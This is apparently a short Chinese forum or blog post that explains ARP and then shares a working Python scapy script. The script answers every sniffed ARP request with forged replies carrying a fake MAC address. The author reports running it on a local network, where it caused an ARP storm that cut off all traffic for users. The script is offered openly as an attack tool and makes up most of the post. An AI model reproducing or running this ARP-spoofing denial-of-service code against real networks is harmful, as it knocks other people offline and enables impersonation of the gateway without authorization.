ARP的功能大家应该都知道:不知道某IP的mac地址,则发送ARP广播请求,希望该IP的主机进行ARP回复,这样双方就可以进行通信;那么问题来了:如果,我监听我的网卡,收到任何ARP请求,我立即回复一个错误MAC地址ARP响应,这样双方是否还能通信?甚至,我冒充网关,将网关的MAC地址指向一个错误的地址,是否还能通信?
本人用python的scapy模块写了一个程序,经过运行,发现只要该程序运行,局域网内产生大量ARP风暴,整个局域网根本不能正常进行任何网络通讯,用户瞬间骂娘,威力相当大。不敢藏私,代码如下:
from scapy.all import * while True: try: a=sniff(filter='arp',count=1) c=Ether()/ARP() c.src="11:22:33:44:55:66" c.dst=a[0].src c.op=2 c.payload.hwsrc="11:22:33:44:55:66" c.payload.psrc=a[0].payload.pdst c.payload.hwdst="00:00:00:00:00:00" c.payload.pdst=a[0].payload.pdst sendp(c,count=10) #发送大量ARP错误数据包,清空用户的ARP缓存中的正确地址 print "我们已经攻击了一个用户,他请求的IP地址是 "+a[0].payload.pdst+" ; 该用户的mac地址是 "+a[0].src except: continue